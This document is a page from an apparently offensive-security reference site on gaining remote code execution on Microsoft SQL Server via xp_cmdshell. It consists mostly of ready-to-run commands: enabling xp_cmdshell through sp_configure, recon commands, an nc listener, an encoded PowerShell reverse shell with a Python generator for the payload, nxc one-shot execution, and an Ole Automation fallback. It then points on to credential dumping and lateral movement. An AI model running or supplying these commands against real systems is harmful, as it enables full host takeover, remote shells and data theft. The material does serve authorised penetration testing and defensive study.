# MSSQL RCE via xp_cmdshell

> Exploit MSSQL xp_cmdshell to achieve remote code execution, covering enablement via sp_configure, privilege requirements, and command execution techniques.

- **URL:** https://hackindex.io/services/mssql/exploitation/mssql-rce-via-xp-cmdshell
- **Path:** MSSQL > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/mssql/exploitation.md)
- **Published:** 2026-03-26
- **Updated:** 2026-05-15

xp_cmdshell is an extended stored procedure that passes a string to the Windows command shell and returns output. When enabled, it executes as the SQL Server service account. On systems where that account is NT AUTHORITY\SYSTEM or a highly privileged domain account, xp_cmdshell is a direct path from SQL authentication to full host compromise.

Sysadmin membership is required to enable or use xp_cmdshell. If you have sysadmin rights but xp_cmdshell is disabled, enabling it takes two configuration commands.

Requirements and execution paths:

- Sysadmin role required to enable and execute xp_cmdshell
- Commands run as the SQL Server service account (often SYSTEM)
- Ole Automation Procedures as fallback when xp_cmdshell is blocked
- nxc can auto-enable xp_cmdshell and execute without an interactive session

## MSSQL xp_cmdshell RCE: enable and execute

If xp_cmdshell is disabled, enable it through the advanced options. This requires sysadmin:

```bash
impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
```

```sql
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Configuration option 'show advanced options' changed from 0 to 1.
# Configuration option 'xp_cmdshell' changed from 0 to 1.
```

Confirm execution context before running payloads. This tells you what OS user commands will run as:

```sql
EXEC xp_cmdshell 'whoami';
# output
# --------------------
# nt authority\system
```

## Execute Commands via xp_cmdshell

Basic command execution for situational awareness before getting a shell:

```sql
EXEC xp_cmdshell 'whoami /priv';
```

```sql
EXEC xp_cmdshell 'net user';
```

```sql
EXEC xp_cmdshell 'ipconfig /all';
```

## Reverse Shell via PowerShell

Set up the listener before executing the payload:

```bash
nc -lvnp $LPORT
```

Use a PowerShell reverse shell through xp_cmdshell. The command runs through cmd /c to handle the PowerShell invocation:

```sql
EXEC xp_cmdshell 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAJABMAEgATwBTAFQAIgAsACQATABQAE8AUgBUACkA';
```

Generate the base64 encoded PowerShell payload on Kali first and paste the encoded string into the command. Use the standard PowerShell TCP reverse shell and encode it:

```bash
python3 -c "import base64; cmd='$client = New-Object System.Net.Sockets.TCPClient(\"'+'$LHOST'+'\",'+'$LPORT'+');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'; print(base64.b64encode(cmd.encode('utf-16-le')).decode())"
```

## Execute via nxc Without Interactive Session

nxc can run xp_cmdshell commands directly without opening an interactive mssqlclient session, which is faster for one-off command execution:

```bash
nxc mssql $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN -x 'whoami'
# MSSQL  $TARGET_IP  1433  SQL-01  [+] CORP\sqlsvc (Pwn3d!)
# MSSQL  $TARGET_IP  1433  SQL-01  [+] Executed command via xp_cmdshell
# MSSQL  $TARGET_IP  1433  SQL-01  nt authority\system
```

The -x flag runs the command through xp_cmdshell and returns output. If xp_cmdshell is disabled, nxc will attempt to enable it automatically. Use this for quick checks before committing to an interactive session or a reverse shell.

## Ole Automation Alternative

When xp_cmdshell is disabled and cannot be enabled, Ole Automation Procedures provide an equivalent path if they are active. This uses WScript.Shell to execute commands:

```sql
DECLARE @shell INT; EXEC sp_oacreate 'wscript.shell', @shell OUTPUT; EXEC sp_oamethod @shell, 'run', null, 'cmd /c whoami > C:\Windows\Temp\out.txt'; WAITFOR DELAY '00:00:02'; SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Windows\Temp\out.txt', SINGLE_CLOB) AS r;
```

Once command execution is confirmed, loot the database itself for credentials and sensitive data , see [MSSQL Database Pillaging](https://hackindex.io/services/mssql/post-exploitation/mssql-database-pillaging) and [MSSQL Credential Dump](https://hackindex.io/services/mssql/post-exploitation/mssql-credential-dump). For lateral movement to other SQL Server instances through the current connection, see [Lateral Movement via MSSQL Linked Servers](https://hackindex.io/services/mssql/lateral-movement/lateral-movement-via-mssql-linked-servers).

## References

- [Microsoft: xp_cmdshell](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql) - xp_cmdshell syntax, permission requirements, and enable procedure
- [NetExec Wiki: MSSQL Command Execution](https://www.netexec.wiki/mssql-protocol/command-execution) - nxc -x flag behavior and automatic xp_cmdshell enable